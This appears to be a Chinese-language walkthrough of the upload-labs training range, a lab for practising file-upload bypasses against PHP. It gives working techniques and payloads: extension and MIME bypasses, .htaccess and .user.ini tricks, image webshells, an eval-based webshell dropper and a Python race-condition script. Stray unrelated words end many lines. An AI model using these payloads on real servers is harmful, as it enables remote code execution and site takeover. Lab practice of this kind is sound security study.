項目地址:https://github.com/c0ny1/upload-labsphp
1.使用burp將全部JS刪除,再上傳phpinfo.php或者F12刪除JS,再上傳php文件。html
而後能夠直接上傳php文件,不須要考慮什麼了。python
上傳成功。git
2.繞過JS驗證github
先關閉burp的刪除JS選項,從新上傳phpinfo.php,上傳失敗。web
從新上傳並使用burp攔截,並將後綴名從jpg改成php。shell
上傳成功。數組
MIME-Type介紹:瀏覽器
MIME(Multipurpose Internet Mail Extensions)多用途互聯網郵件擴展類型。是設定某種擴展名的文件用一種應用程序來打開的方式類型,當該擴展名文件被訪問的時候,瀏覽器會自動使用指定應用程序來打開。多用於指定一些客戶端自定義的文件名,以及一些媒體文件打開方式。服務器
繞過MIME-Type:
上傳成功。
基於文件後綴名驗證方式的分類:
一、基於白名單驗證:只針對白名單中有的後綴名,文件才能上傳成功。
二、基於黑名單驗證:只針對黑名單中沒有的後綴名,文件才能上傳成功。
這一關禁止.jsp、.php、.asp、.aspx後綴名的文件上傳。
可是能夠其餘後綴名嘛,例如php一、php二、phtml、php5等等。
注:上傳成功後,文件名會被更改,因此須要查看文件上傳的位置以及文件名。
禁止的有點多,可是沒有htaccess。
htaccess文件介紹:
htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。經過htaccess文件,能夠幫咱們實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、容許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能。
其中.htaccess文件內容:
SetHandler application/x-httpd-php
設置當前目錄全部文件都使用PHP解析,那麼不管上傳任何文件,只要文件內容符合PHP語言代碼規範,就會被看成PHP執行。不符合則報錯。
建立1.htaccess,並將其上傳:
<FilesMatch "上傳的圖片馬的文件名" SetHandler application/x-httpd-php </FilesMatch>
再上傳圖片馬便可。
這一關,先上傳一個以auto_prepend_file=1.gif爲內容的.user.ini文件,而後再上傳一個內容爲php的一句話的腳本,命名爲1.gif,.user.ini文件裏面的意思是:全部的php文件都自動包含1.gif文件。.user.ini至關於一個用戶自定義的php.ini。
參考連接:csdn
這一關將htaccess也ban了。
大小寫繞過原理:
Windows系統下,對於文件名中的大小寫不敏感。例如:test.php和TeSt.PHP是同樣的。
Linux系統下,對於文件名中的大小寫敏感。例如:test.php和 TesT.php就是不同的。
訪問文件
Windows系統下,對於文件名中空格會被做爲空處理,程序中的檢測代碼卻不能自動刪除空格。從而繞過黑名單。
針對這樣的狀況須要使用Burpsuite階段HTTP請求以後,修改對應的文件名 添加空格。
上傳成功。
.號繞過原理:
Windows系統下,文件後綴名最後一個點會被自動去除。
上傳成功
特殊符號繞過原理:
Windows系統下,若是上傳的文件名中test.php::$DATA會在服務器上生成一個test.php的文件,其中內容和所上傳文件內容相同,並被解析。
這一關是將文件名進行過濾操做後,將文件名拼接在路徑後面,因此須要繞過前面的首尾去空以及去點。
這一關是用str_ireplace函數將符合黑名單中的後綴名進行替換爲空。因此能夠雙寫繞過。
這個匹配是從左往右的匹配,不要雙寫成phphpp,這樣過濾後就成了hpp。
這一關,須要php的版本號低於5.3.29,且magic_quotes_gpc爲關閉狀態。
這一關和Pass-12的區別是,00截斷是用在POST中,且是在二進制中進行修改。由於POST不會像GET那樣對%00進行自動解碼。
製做圖片馬:
copy 1.jpg/a + 1.txt/b 2.jpg
1.txt中的內容爲一句話木馬,1.jpg則是一張圖片。生成的圖片馬是2.jpg。
順利的上傳圖片馬,圖片名會從新命名,因此burp上傳,記得看一下。
利用include.php實現文件包含(自帶有):
<?php /* 本頁面存在文件包含漏洞,用於測試圖片馬是否能正常運行! */ header("Content-Type:text/html;charset=utf-8"); $file = $_GET['file']; if(isset($file)){ include $file; }else{ show_source(__file__); } ?>
蟻劍鏈接一句話:
同pass-14,傳同樣的圖片馬就好。
注:這裏可能會有一些問題,就是copy製做的圖片馬,製做出來後,圖像是損壞的,那麼15關就過不去。因此能夠利用winhex之類的工具,講一句話加在圖片的後面。這樣就能過了。
一樣,利用起來仍是文件包含。
這一關須要開啓php_exif模塊。phpstudy很好打開此模塊。
同前兩關,能過Pass-15的圖片馬就能過這關。
這裏使用容易繞過二次渲染的gif文件。如今製做一個gif圖片馬,copy就能夠了。也能夠winhex製做。
製做後便上傳,發現沒法利用。而後將上傳的圖片從新下載下來,放入winhex,進行對比。
能夠找到二次渲染後不變的地方,而這個地方就是能夠插入一句話的地方。
上傳修改好的圖片馬,蟻劍鏈接成功。
這一關是先上傳再判斷,因此實在判斷前就對上傳的文件進行請求。
先建立一個webshell.php,內容爲
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>'); ?>
再使用python不斷請求
import requests while 1: requests.get("http://192.168.84.131/upload-labs/upload/webshell.php")
運行python代碼,再開始上傳php文件。
可是這裏使用python請求,虛擬機配置不高 很快就gg。
因此改哈這一關的代碼:
從新開始
請求成功,看看是否有shell.php
蟻劍鏈接成功。
Pass-19:白名單驗證,圖片馬
這一關相比18關,上傳的文件就必須是白名單中的文件。
Pass-19.jpg是包含18關的webshell.php的內容的圖片馬。畢竟是先檢查後綴的。
這裏上傳的文件以及生成的shell.php會出如今upload-labs目錄中。
而後再訪問http://ip/upload-labs/include.php?file=./對應的文件名。就能夠生成shell.php。
也能夠直接上傳14~16關的那種圖片馬,固然也須要知道從新命名後的文件名,再利用文件包含便可。同14~16關差很少,惟一多了一步就是須要肯定上傳的文件的文件名以及位置。
Pass-20:黑名單驗證,點號繞過
驗證是否成功。
Pass-21:白名單驗證,數組繞過
參考連接:csdn
這一關能夠直接像14關那樣,圖片馬,文件包含直接過。
如下是參考的數組繞過
以後蟻劍鏈接便可。